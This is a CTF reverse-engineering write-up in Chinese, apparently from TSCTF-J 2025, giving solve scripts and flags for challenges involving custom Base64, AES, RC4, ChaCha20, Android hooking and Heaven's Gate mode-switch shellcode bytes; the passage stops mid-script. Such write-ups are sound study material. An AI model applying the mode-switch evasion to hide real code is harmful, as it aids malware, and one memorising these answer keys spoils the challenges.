1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 import zipfile, pickle, types, sys, ioimport numpy as nptorch = types.ModuleType('torch' ) sys.modules['torch' ] = torch class FloatStorage : def __init__ (self, size=0 ): self .size = size torch.FloatStorage = FloatStorage utils = types.ModuleType('torch._utils' ) sys.modules['torch._utils' ] = utils def default_stride (size ): acc = 1 strides = [] for s in reversed (size): strides.insert(0 , acc) acc *= s return tuple (strides) class StorageWrapper : def __init__ (self, array ): self .array = array class TensorWrapper : def __init__ (self, array ): self .array = array def _rebuild_tensor_v2 (storage_obj, storage_offset, size, stride, *_ ): size = tuple (size) stride = tuple (stride) base = storage_obj.array off = storage_offset count = int (np.prod(size, dtype=int )) if stride == default_stride(size): arr = base[off:off + count].reshape(size).copy() else : byte_strides = tuple (s * base.dtype.itemsize for s in stride) arr = np.lib.stride_tricks.as_strided(base[off:], shape=size, strides=byte_strides).copy() return TensorWrapper(arr) utils._rebuild_tensor_v2 = _rebuild_tensor_v2 storages = {} zf = zipfile.ZipFile('model.pth' , 'r' ) class MyUnpickler (pickle.Unpickler): def persistent_load (self, pid ): kind, _, key, _, _ = pid if kind != 'storage' : raise RuntimeError('unexpected persistent object' ) if key not in storages: raw = zf.read(f'model/data/{key} ' ) arr = np.frombuffer(raw, dtype='<f4' ).copy() storages[key] = StorageWrapper(arr) return storages[key] with zf.open ('model/data.pkl' , 'r' ) as f: state_dict = MyUnpickler(io.BytesIO(f.read())).load() params = {k: v.array for k, v in state_dict.items()} conv1_w = params['conv1.weight' ][0 , 0 ] conv1_b = params['conv1.bias' ][0 ] conv2_w = params['conv2.weight' ][0 , 0 , 0 , 0 ] conv2_b = params['conv2.bias' ][0 ] linear_w = params['linear.weight' ] linear_b = params['linear.bias' ] conv3_b = params['conv3.bias' ][0 ] grid = [] with open ('ciphertext.txt' ) as f: for line in f: line = line.strip() if line: grid.append([float (x) for x in line.split()]) Y = np.array(grid, dtype=np.float64) n = Y.shape[0 ] - 1 A = np.zeros((n, n), dtype=np.float64) Yp = Y - conv3_b for i in range (n): for j in range (n): val = Yp[i, j] if i > 0 and j > 0 : val += 6 * A[i - 1 , j - 1 ] if i > 0 : val -= 2 * A[i - 1 , j] if j > 0 : val -= 3 * A[i, j - 1 ] A[i, j] = val / 9.0 v = A.reshape(-1 ) rhs = v - linear_b u, *_ = np.linalg.lstsq(linear_w, rhs, rcond=None ) bias = conv2_w * conv1_b + conv2_b bits = np.zeros(4 * n, dtype=int ) for j in range (n): val = int (round ((u[j] - bias) / conv2_w)) val = max (0 , min (15 , val)) b0, b1, b2, b3 = val & 1 , (val >> 1 ) & 1 , (val >> 2 ) & 1 , (val >> 3 ) & 1 bits[2 * j] = b0 bits[2 * j + 1 ] = b1 bits[2 * n + 2 * j] = b2 bits[2 * n + 2 * j + 1 ] = b3 chars = [] for k in range (0 , bits.size, 8 ): byte = 0 for bit in bits[k:k + 8 ]: byte = (byte << 1 ) | bit chars.append(chr (byte)) print ('' .join(chars))
TSCTF-J{NotReverseButInverse}
Re 这部分的话,主要第二天没时间做,又不想熬夜,最后pyd应该是有了大概的方向,xxtea,魔改了delta? 轮数可能不太一样,还需要动调,没时间做了,主要那个scratch3做了五个小时(纯属我眼瞎了)…
Singin 逻辑很清晰,有个换表base64
通过确定性置换对Base64字母表进行打乱
签到题,值得注意的有一个字节是重合的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 def permute_alphabet (alphabet ): alphabet = list (alphabet) for idx in range (64 ): swap_idx = (7 * idx + 5 ) % 64 alphabet[idx], alphabet[swap_idx] = alphabet[swap_idx], alphabet[idx] return '' .join(alphabet) def custom_base64 (plain, alphabet ): encoded = bytearray () bit_buffer = 0 bits_remaining = -6 for byte in plain: bit_buffer = (bit_buffer << 8 ) + byte bits_remaining += 8 while bits_remaining >= 0 : index = (bit_buffer >> bits_remaining) & 0x3F encoded.append(ord (alphabet[index])) bits_remaining -= 6 if bits_remaining >= -5 : index = (bit_buffer << 8 >> (bits_remaining + 8 )) & 0x3F encoded.append(ord (alphabet[index])) while len (encoded) % 4 != 0 : encoded.append(ord ('=' )) return bytes (encoded) def build_target (): buf = bytearray (40 ) buf[0 :8 ] = (0x3D13023261347C23 ).to_bytes(8 , 'little' ) buf[8 :16 ] = (0x143402370D641267 ).to_bytes(8 , 'little' ) buf[15 :23 ] = (0x347024692B7A0314 ).to_bytes(8 , 'little' ) buf[23 :31 ] = (0x284202766B703261 ).to_bytes(8 , 'little' ) return bytes (buf[:31 ]) def main (): alphabet = permute_alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ) keystream = custom_base64(b"WelcomeToTSCTF" , alphabet) target = build_target() repeat = (keystream * ((len (target) + len (keystream) - 1 ) // len (keystream)))[:len (target)] flag = bytes (k ^ t for k, t in zip (repeat, target)) print (flag.decode()) if __name__ == "__main__" : main()
TSCTF-J{We1c@me_t0_TS_CTF_2025}
CryDancing ios逆向
解压到本地IDA打开
objective
AES加密,挺清晰的
会把输入框里的字符串,做 AES-128-CBC 加密并转成 Base64,再与内置串比较决定弹窗内容。
枚举 “ABCDEFGHIJKLMNOPQRSTUVWXYZ” 的所有 4 位组合,找到 MD5 为 674040176a34f6c994003fe85badfc48 的候选,结果是 NOTD。
加密时把 NOTD 重复四次得到 16 字节密钥,IV 为 0x00000177(小端存放在首 4 字节)其余补 0,共 16 字节;AES-128-CBC + PKCS#7 padding。
CCCrypt就是AES哦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import hashlibfrom itertools import productfrom base64 import b64decodefrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadTARGET_MD5 = "674040176a34f6c994003fe85badfc48" ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" CIPHERTEXT_B64 = "bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g==" def derive_key_fragment (): for combo in product(ALPHABET, repeat=4 ): candidate = '' .join(combo) if hashlib.md5(candidate.encode()).hexdigest() == TARGET_MD5: return candidate return 0 def decrypt_flag (cipher_b64, key_fragment ): full_key = (key_fragment * 4 ).encode() iv = bytes ([0x77 , 0x01 , 0x00 , 0x00 ] + [0x00 ] * 12 ) cipher_bytes = b64decode(cipher_b64) cipher = AES.new(full_key, AES.MODE_CBC, iv) plain = unpad(cipher.decrypt(cipher_bytes), AES.block_size) return plain.decode() def main (): key_fragment = derive_key_fragment() flag = decrypt_flag(CIPHERTEXT_B64, key_fragment) print (f"key: {key_fragment} " ) print (f"flag: {flag} " ) if __name__ == "__main__" : main()
TSCTF-J{S0rry_th3_4nswer_h4s_n0thing_2_do_with_l7rics}
听绿的秘密 对图像进行了加密,Secret.obf明显是混淆过了,看了下loader确认加密
1 2 3 4 5 6 7 8 9 with open ("Secret.obf" , "rb" ) as f: obf_bytes = f.read() class_bytes = bytes ((b - 7 ) & 0xFF for b in obf_bytes) with open ("Secret.class" , "wb" ) as f: f.write(class_bytes) print ("done" )
再写逆向算法即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pathlib import Pathdef rotate_right (value, shift ): return ((value >> shift) | ((value << (8 - shift)) & 0xFF )) & 0xFF def decrypt (input_path, output_path ) : data = bytearray (input_path.read_bytes()) state = 123 for index, cipher in enumerate (data): rotation = (index + state) % 8 if rotation == 0 : transformed = cipher else : transformed = rotate_right(cipher, rotation) plain = (transformed - ((index % 251 ) + state)) & 0xFF data[index] = plain state = (state + cipher + 37 ) & 0xFF output_path.write_bytes(data) def main (): input_path = Path("Where_is_my_cat.png" ) output_path = Path("Cat_decrypted3.png" ) decrypt(input_path, output_path) if __name__ == "__main__" : main()
Handler’s Whisper 看着没啥问题,其实会有个除0异常
之后就是RC4解密了
注意然后对每个字节执行位重排:((c & 0x03) << 6) | ((c & 0x0C) << 2) | ((c & 0xF0) >> 4)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 enc = bytes ([ 0x7f , 0x74 , 0x6d , 0x32 , 0x18 , 0x70 , 0x1e , 0x5e , 0x64 , 0x3c , 0xdc , 0xdf , 0xaf , 0xae , 0xa6 , 0x3a , 0xcd , 0xe3 , 0x69 , 0x41 , 0xb9 , 0xa2 , 0x2f , 0xcd , 0x17 , 0xea , 0x1d , 0x80 , 0x70 , 0xfc , 0x58 , 0xe4 , 0xad , 0xf0 , 0x92 , 0xcf , 0xe2 , 0x37 ]) KEY = b"secret" def inv_permute (byte_val ): return ((byte_val & 0x0F ) << 4 ) | (((byte_val >> 4 ) & 0x03 ) << 2 ) | ((byte_val >> 6 ) & 0x03 ) def rc4_keystream (key, count ): s = list (range (256 )) j = 0 for i in range (256 ): j = (j + s[i] + key[i % len (key)]) & 0xFF s[i], s[j] = s[j], s[i] i = j = 0 for _ in range (count): i = (i + 1 ) & 0xFF j = (j + s[i]) & 0xFF s[i], s[j] = s[j], s[i] yield s[(s[i] + s[j]) & 0xFF ] def decrypt (): stream = rc4_keystream(KEY, len (enc)) return bytes (((inv_permute(b) - k) & 0xFF ) ^ 0x44 for b, k in zip (enc, stream)) if __name__ == "__main__" : print (decrypt().decode())
TSCTF-J{SEH_C@11b@ck_sp3@k$_w!th_RC4!}
哭泣之子 这个卡了挺久 我还以为是misc呢…… 看了眼瞎过了一遍没看到主逻辑,直接去看解码器了,后面看了下各个脚本的修改时间不大对,都是好几年前的,逻辑肯定在Cryingchild.dll里
exe没有主逻辑,主逻辑托管给了Cringchild.dll
Crying.dll中
追这个WaveOutEvent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 array3 = [ 871 , 1654 , 789 , 1617 , 1221 , 2173 , 871 , 1724 , 629 , 1111 , 789 , 1664 , 783 , 1579 , 989 , 1633 , 1229 , 2148 , 891 , 1703 , 1237 , 2249 , 1229 , 2161 , 1157 , 2095 , 1237 , 2201 , 1243 , 2166 , 789 , 1604 , 941 , 1669 , 813 , 1651 , 845 , 1633 , 807 , 1645 , 941 , 1673 , 971 , 1863 , 941 , 1648 , 789 , 1620 , 941 , 1659 , 1255 , 2157 , 1167 , 2121 , 941 , 1647 , 807 , 1662 , 845 , 1634 , 1243 , 2165 , 813 , 1650 , 941 , 1676 , 813 , 1697 , 783 , 1589 , 941 , 1654 , 1167 , 2097 , 1255 , 2157 , 941 , 1673 , 789 , 1597 , 941 , 1655 , 941 , 1653 , 813 , 1673 , 789 , 1598 , 891 , 1735 , 941 , 1600 , 629 , 1076 , 891 , 1728 , 603 , 1008 , 389 , 827 ] flag_bytes = [] for i in range (0 , 100 , 2 ): newA, newB = array3[i], array3[i + 1 ] for a in range (256 ): num2 = ((a << 3 ) & 0xFFFFFFFF ) ^ 83 newA_calc = ((num2 + a) ^ (a + 72 )) & 0xFFFFFFFF if newA_calc != newA: continue val = (newB - newA) & 0xFFFFFFFF b = num2 ^ val if 0 <= b < 256 : flag_bytes.extend([a, b]) break flag = bytes (flag_bytes).decode('ascii' ) print (flag)
TSCTF-J{3f619a0b_Would_you_say_that_someone_who_had_every_intention_to_be_brave_was_a_coward?_81dd64f3}
天堂之门 可以直接看,之前做DubheCTF的时候做到过类似的题,这题算是弱化版吧
DubheCTF-Destination&Moon | Clovershrub
这个Dubhe和SUS都出过类似的题刚好做过
也可以看我的DubheCTF 2024 re 复现 | Matriy’s blog
天堂之门技术简述:
在x64 下的进程,不管是32位或者是64位,实际上都映射了两个地址空间,一个是32位,一个是64位,相当于一个进程的两种工作模式。
解释:在64位的操作系统上,32位的应用程序并不能直接在64位环境下运行。为了使32位程序可以正常运行,操作系统提供了一个称为WoW64 (Windows on Windows 64-bit)的子系统。WoW64 子系统相当于一个兼容层,专门为32位程序提供了类似32位的运行环境。
他们之间的关键区别在于cs
段寄存器。
64位:CS = 0x33 32位:CS = 0x23
Windows判别位的方式,是根据cs
段寄存器的,所以只要修改cs
的值,就能实现切换,再使用retf
指令回到xx位。
0x401720 的 main 中,通过 get_image_base() 拿到模块基址,接着在 0x40180C 初始化 rc4_state,for循环里执行 memcpy(&rc4_state[64 * i], Src, 0x40u),做 4 次。因为 Src 就是 PE 镜像开头(DOS 头),每次拷贝 0x40 字节,四次拼起来正好 256 字节,这就是 RC4 状态数组的来源。
get_image_base里的三次 memcpy 把 NtCurrentPeb()->Ldr 结构一路走链表:先取 PEB->Ldr,再取 Ldr->InMemoryOrderModuleList.Flink。这是标准的 PEB 遍历流程,返回的就是当前模块的装载基址,也就是 DOS/PE 头所在的地址。
做的时候没有调试,上面这个猜也能猜到,虽然我是静态出的
如果调试也行:
此时 EAX 就是 Src 的值,也就是当前模块的装载基址。右键 EAX → Follow in Dump,Dump 窗口会直接显示该地址的内存内容;可以看到开头是 4D 5A … 的 DOS 头
main读取 40 字符输入,复制 PE 头首 0x40 字节 4 次到 256 字节状态,调用 rc4_transform 做 RC4 变换,再把结果与 0x405000 处的10 个 dword 比较
这里我提供两种分析方式
静态分析 :
这段所有的提取出来
有几种方式发现逻辑
1 2 3 4 5 6 7 8 9 10 11 stub_bytes = [ 0x6A, 0x33, 0x68, 0x78, 0x56, 0x34, 0x12, 0xCB, 0x56, 0x57, 0x48, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC0, 0x45, 0x33, 0xC9, 0x41, 0xFE, 0xC0, 0x42, 0x0F, 0xB6, 0x04, 0x07, 0x41, 0x00, 0xC1, 0x42, 0x8A, 0x14, 0x0F, 0x42, 0x88, 0x14, 0x07, 0x42, 0x88, 0x04, 0x0F, 0x42, 0x0F, 0xB6, 0x04, 0x07, 0x42, 0x02, 0x04, 0x0F, 0x40, 0x0F, 0xB6, 0x04, 0x07, 0x30, 0x06, 0x48, 0xFF, 0xC6, 0xE2, 0xD4, 0x5F, 0x5E, 0x6A, 0x23, 0x68, 0x78, 0x56, 0x34, 0x12, 0x48, 0xCB, 0xC3 ]
丢给chatgpt
Online x86 and x64 Intel Instruction Assembler
手搓
patch到一个新文件
patch到IDA打开的文件的某个可用地址
动态分析
动调然后对
下断点分析
heavens_gate_thread 与 wow64_gate_probe transition 只是维持门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pathlib import Pathdef rc4_keystream (state: bytearray , length: int ): i = j = 0 for _ in range (length): i = (i + 1 ) & 0xFF j = (j + state[i]) & 0xFF state[i], state[j] = state[j], state[i] yield state[(state[i] + state[j]) & 0xFF ] def main (): pe = Path("heaven.exe" ).read_bytes() state = bytearray (pe[:0x40 ] * 4 ) print (state) cipher = bytes ([ 0x0E , 0xEB , 0xFB , 0xC4 , 0xD6 , 0x60 , 0x07 , 0x7B , 0x57 , 0x25 , 0x79 , 0x74 , 0x5F , 0x34 , 0x12 , 0x57 , 0x30 , 0x23 , 0x29 , 0x7E , 0x3F , 0x2B , 0x38 , 0x7C , 0x12 , 0x2A , 0x79 , 0x39 , 0x08 , 0x12 , 0x69 , 0x75 , 0x7F , 0x7B , 0x7E , 0x2B , 0x2F , 0x28 , 0x2C , 0x30 , ]) flag_bytes = bytes (c ^ k for c, k in zip (cipher, rc4_keystream(state, len (cipher)))) print (flag_bytes.decode()) if __name__ == "__main__" : main()
TSCTF-J{Wh4t_4_W0nd3rfu1_g4tE_$8263fbea}
GrilHook
我是静态出的,但是出题人可能希望考察hook,或者加了反调,识别特征啥的,后面有时间再补
支持一下插件:Lynnette177/GirlHook: GirlHook is a Lua-scriptable ART hook framework designed for dynamic method interception and gadget-level instrumentation on Android. G.I.R.L. stands for Gadget-Injection Runtime for Lua, highlighting its modular native core and script-driven flexibility. GirlHook是一个轻量化的运行LUA脚本的Android Hook框架
点点star 0.0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package com.lynnette.girlhook;import android.os.Bundle;import android.view.View;import android.widget.EditText;import android.widget.Toast;import androidx.appcompat.app.AppCompatActivity;import kotlin.text.Typography;public class MainActivity extends AppCompatActivity { static { System.loadLibrary("girlhook" ); } @Override public void onCreate (Bundle bundle) { super .onCreate(bundle); if (getSupportActionBar() != null ) { getSupportActionBar().hide(); } setContentView(C0860R.layout.activity_main); } @Override public void onDestroy () { super .onDestroy(); } private boolean check_if_correct (String str) { char [] cArr = {171 , 205 }; char [] cArr2 = {255 , 158 , 232 , 153 , 237 , 224 , 225 , Typography.paragraph, 195 , Typography.cent, 220 , 146 , 223 , Typography.cent, 244 , 165 , 196 , Typography.cent, 192 , 146 , 194 , Typography.pound, 244 , 140 , 249 , 153 , 148 , Typography.degree}; if (str.length() != 28 ) { return false ; } for (int i = 0 ; i < str.length(); i++) { if (((char ) (str.charAt(i) ^ cArr[i % 2 ])) != cArr2[i]) { return false ; } } return true ; } public boolean check_again (String str) { return str.equals("AmQTDHd7fy5CIAQyRUokVD1RJ3VlJFM4WTE+CBcn" ); } public void onVerifyClick (View view) { String obj = ((EditText) findViewById(C0860R.C0863id.input_text)).getText().toString(); if (!check_if_correct(obj) ? check_again(obj) : true ) { Toast.makeText(this , "正确!" , 0 ).show(); } else { Toast.makeText(this , "错误" , 0 ).show(); } } }
这是jadx打开后,非常简单,题目是hook这个肯定不对,直接看so层
打开就能看到waht_is,一看就非常眼熟,chacha20
怎么看出来的?可以看我的CTF逆向常见加密算法总结 | Matriy’s blog 函数开头把四个字常量依次写进状态数组:0x61707865、0x3320646E、0x79622D32、0x6B206574
initial_global里调用了这个方法,去动态的hook修改方法功能
本来想hook的,看到chacha20感觉不太复杂看看能不能直接出
找到secret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 import structfrom pathlib import PathSO_PATH = Path("libgirlhook.so" ) SECRET_FILE_OFFSET = 0x18CC40 SECRET_SIZE = 1436 KEY = b"youareclosetoit_youareclosetoit_" NONCE = b"continueabcd" INITIAL_COUNTER = 1 def rotl32 (value: int , shift: int ) -> int : value &= 0xFFFFFFFF return ((value << shift) & 0xFFFFFFFF ) | (value >> (32 - shift)) def quarter_round (state, a, b, c, d ): state[a] = (state[a] + state[b]) & 0xFFFFFFFF state[d] ^= state[a] state[d] = rotl32(state[d], 16 ) state[c] = (state[c] + state[d]) & 0xFFFFFFFF state[b] ^= state[c] state[b] = rotl32(state[b], 12 ) state[a] = (state[a] + state[b]) & 0xFFFFFFFF state[d] ^= state[a] state[d] = rotl32(state[d], 8 ) state[c] = (state[c] + state[d]) & 0xFFFFFFFF state[b] ^= state[c] state[b] = rotl32(state[b], 7 ) def chacha20_block (key_words, counter, nonce_words ): state = [ 0x61707865 , 0x3320646E , 0x79622D32 , 0x6B206574 , *key_words, counter, *nonce_words ] working = state.copy() for _ in range (10 ): quarter_round(working, 0 , 4 , 8 , 12 ) quarter_round(working, 1 , 5 , 9 , 13 ) quarter_round(working, 2 , 6 , 10 , 14 ) quarter_round(working, 3 , 7 , 11 , 15 ) quarter_round(working, 0 , 5 , 10 , 15 ) quarter_round(working, 1 , 6 , 11 , 12 ) quarter_round(working, 2 , 7 , 8 , 13 ) quarter_round(working, 3 , 4 , 9 , 14 ) return b"" .join( struct.pack("<I" , (working[i] + state[i]) & 0xFFFFFFFF ) for i in range (16 ) ) def chacha20_decrypt (ciphertext: bytes , key: bytes , nonce: bytes , counter: int ) -> bytes : key_words = struct.unpack("<8I" , key) nonce_words = struct.unpack("<3I" , nonce) plaintext = bytearray () block_counter = counter for offset in range (0 , len (ciphertext), 64 ): keystream_block = chacha20_block(key_words, block_counter, nonce_words) block_counter = (block_counter + 1 ) & 0xFFFFFFFF chunk = ciphertext[offset:offset + 64 ] plaintext.extend(c ^ k for c, k in zip (chunk, keystream_block)) return bytes (plaintext) def main (): so_bytes = SO_PATH.read_bytes() secret = so_bytes[SECRET_FILE_OFFSET:SECRET_FILE_OFFSET + SECRET_SIZE] lua_plain = chacha20_decrypt(secret, KEY, NONCE, INITIAL_COUNTER) Path("decrypted_lua.lua" ).write_bytes(lua_plain) print (f"完成:decrypted_lua.lua ({len (lua_plain)} 字节)" ) if __name__ == "__main__" : main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 local function xor_byte (a, b) local result = 0 for i = 0 , 7 do local x = a % 2 local y = b % 2 result = result + ((x ~ y) << i) a = math .floor (a / 2 ) b = math .floor (b / 2 ) end return result end function xor_encrypt (str, key) local result = {} for i = 1 , #str do local c = string .byte (str, i) c = (c + 1 ) % 255 local k = string .byte (key, (i - 1 ) % #key + 1 ) result[i] = string .char (xor_byte(c, k)) end return table .concat (result) end local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' function base64_encode (data) return ((data:gsub ('.' , function (x) local r,bits='' ,string .byte (x) for i=8 ,1 ,-1 do r=r..(bits % 2 ^i - bits % 2 ^(i-1 ) > 0 and '1' or '0' ) end return r end )..'0000' ):gsub ('%d%d%d?%d?%d?%d?' , function (x) if #x < 6 then return '' end local c=0 for i=1 ,6 do c=c+(x:sub (i,i)=='1' and 2 ^(6 -i) or 0 ) end return b:sub (c+1 ,c+1 ) end )..({ '' , '==' , '=' })[#data % 3 + 1 ]) end function encrypt (plain, key) return base64_encode(xor_encrypt(plain, key)) end function func_enter (args) local strobj = args[1 ] local str = getJavaStringContent(strobj) local encrypted = encrypt(str, "W0WY0U4R3S0G00D2F1NDTH3K3Y" ) local e1 = createJavaString(strobj, encrypted) args[1 ] = e1 return true , args, 0 end
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import base64FAKE_B64 = "AmQTDHd7fy5CIAQyRUokVD1RJ3VlJFM4WTE+CBcn" KEY = b"W0WY0U4R3S0G00D2F1NDTH3K3Y" def xor_byte (a, b ): r = 0 for i in range (8 ): r |= ((a & 1 ) ^ (b & 1 )) << i a >>= 1 b >>= 1 return r def decrypt (fake_b64, key_bytes ): cipher = base64.b64decode(fake_b64) plain = bytearray () for i, c in enumerate (cipher): k = key_bytes[i % len (key_bytes)] t = xor_byte(c, k) p = (t - 1 ) % 255 plain.append(p) return plain.decode("ascii" ) if __name__ == "__main__" : real_flag = decrypt(FAKE_B64, KEY) print (real_flag)
TSCTF-J{pr3tty_ez_h00k_righ7?}
Catbits 第二天上了一上午一下午的课,看了下思路偏了
解压出来有个json
纯手搓了一下午,分析对象之间的调用关系,还真给我分析出来了
有个nibble swap:((x & 0xF) << 4) | ((x >> 4) & 0xF)
arc_bravo[i] = after_charlie[i] XOR arc_bravo[i-1]
和idx[i] = arc_bravo[i] - (i+1)
可能有个索引表qrazybox
最后写了个解密算法
出了
1 TSCTF-J{F`'*catcatPL~3` catcatcatcatJ catcat!*H}
包错的,第二天晚上突然看了下,发现
每个角色都能点……
根本不用分析json T.T
这题其实就注意广播就行,还有细心点
第三天做,感觉半小时能搞定结果,搞了四五个小时…
因为死活找不到Toko
在这找到了最后
整理下逻辑
写了个超级伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 orc = [] src = [211 ,71 ,210 ,132 ,193 ,114 ,244 ,208 ,213 ,99 ,37 ,214 ,224 ,101 ,98 ,212 ,224 ,118 ] arc = [] qrazybox = ['catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , ' ' , '!' , '"' , '#' , '$' , '%' , '&' , "'" , '(' , ')' , '*' , '+' , ',' , '-' , '.' , '/' , '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , ':' , ';' , '<' , '=' , '>' , '?' , '@' , 'A' , 'B' , 'C' , 'D' , 'E' , 'F' , 'G' , 'H' , 'I' , 'J' , 'K' , 'L' , 'M' , 'N' , 'O' , 'P' , 'Q' , 'R' , 'S' , 'T' , 'U' , 'V' , 'W' , 'X' , 'Y' , 'Z' , '[' , '\\' , ']' , '^' , '_' , '`' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , 'catcat' , '{' , '|' , '}' , '~' ] ind3x = 1 index1 = 2 arc[0 ] = 114 orc = input for ind3x in range (1 ,len (orc) + 1 ): t1 = 0 index = 1 while t1 = 1 : if qrazybox[index] = orc[ind3x]: t1 = 1 ret = index else : index = index + 1 if index > len (qrazybox): ret = ??? t1 = 1 if ret !=???: arc.append[ret] orc[ind3x] = qrazybox[ret] else : ar = ? print ("Nonono" ) ar = ind3x inde3x = 1 index1 = 2 for i in range (index1,len (arc)+ 1 ): b1 = arc[i] k = b1 + i if k > 255 : bm = k - 255 else : bm = k arc[i] = bm index1 = 2 for i in range (index1,len (arc)+ 1 ): cr = 0 c1 = 四舍五入(arc[i]) c2 = 四舍五入(arc[i - 1 ]) c5 = 1 while c1 == 0 && c2 ==0 : c3 = c1除以2 的余数 c4 = c2除以2 的余数 c6 = (c3 + c4) 除以2 的余数 cr = cr + c5 * c6 c1 = 向下取整(c1/2 ) c2 = 向下取整(c2/2 ) c5 = c5 * 2 arc[i] = cr index1 = 1 for i in range (index1,len (arc)+ 1 ): deltaa = 四舍五入(arc[i]) deltab = (deltaa除以16 的余数) deltac = deltab * 16 delta_ret = deltac ea = 四舍五入(arc[i]) ei = (ea除以16 的余数) eu = ea - ei ee = 向下取整(eu/16 ) e_ret = ee f1 = delta_ret f2 = e_ret cha_ret = 0 cha1 = 四舍五入(f1) cha2 = 四舍五入(f2) cha5 = 1 while cha1 == 0 && cha2 ==0 : cha3 = cha1除以2 的余数 cha4 = cha2除以2 的余数 if cha3 ==1 或 cha4 == 1 : cha6 = 1 else : cha6 = 0 char = char + cha5 * cha6 cha1 = 向下取整(cha1/2 ) cha2 = 向下取整(cha2/2 ) cha5 = cha5 * 2 arc[i] = char index1 = 2 if len (src) != len (arc) -1 : print ("Nonono" ) else : for i in range (index1,len (arc) + 1 ): if arc[i] != src[i - 1 ]: print ("Nonono" ) print ("你过关" )
跟之前的json对照了下得到主逻辑,挺简单的差不多
结果又卡住了
没有注意到初始值是2
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 src = [211 , 71 , 210 , 132 , 193 , 114 , 244 , 208 , 213 , 99 , 37 , 214 , 224 , 101 , 98 , 212 , 224 , 118 ] qrazy = ['catcat' ] * 32 + [' ' , '!' , '"' , '#' , '$' , '%' , '&' , "'" , '(' , ')' , '*' , '+' , ',' , '-' , '.' , '/' , '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , ':' , ';' , '<' , '=' , '>' , '?' , '@' , 'A' , 'B' , 'C' , 'D' , 'E' , 'F' , 'G' , 'H' , 'I' , 'J' , 'K' , 'L' , 'M' , 'N' , 'O' , 'P' , 'Q' , 'R' , 'S' , 'T' , 'U' , 'V' , 'W' , 'X' , 'Y' , 'Z' , '[' , '\\' , ']' , '^' , '_' , '`' ] \ + ['catcat' ] * 26 + ['{' , '|' , '}' , '~' ] lookup = {ch: i + 1 for i, ch in enumerate (qrazy) if ch != 'catcat' } def swap (x: int ) -> int : return ((x & 0x0F ) << 4 ) | ((x >> 4 ) & 0x0F ) def decrypt (src_bytes ): n = len (src_bytes) + 1 D = [0 ] * (n + 1 ) D[1 ] = 